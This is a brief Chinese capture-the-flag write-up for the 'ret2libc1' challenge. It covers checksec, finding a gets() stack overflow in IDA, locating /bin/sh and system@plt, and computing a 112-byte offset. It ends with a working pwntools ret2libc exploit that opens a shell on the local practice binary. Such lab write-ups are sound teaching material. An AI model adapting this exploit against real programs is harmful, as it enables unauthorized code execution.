1.checksec保护机制
开启NX保护并且是32位
运行一下,退出
2.拖进32位ida
main函数
首先找bin/sh
gets函数明显栈溢出
shift+F12找到bin/sh
或者
用以上命令ropgadget来寻找
新手小白建议用ropgadget来寻找,因为直接从ida中看对新手小白容易看错地址(下面还有一个地址)
接下来找system函数
ida/linux都可
计算偏移量
偏移量112
最后构造exp
from pwn import*
p=process('./ret2libc1')
binsh_addr=0x08048720
system_plt=0x08048460
payload=flat([b'a'*112,system_plt,'b'*4,binsh_addr])
p.sendline(payload)
p.interactive()
链接成功
cat flag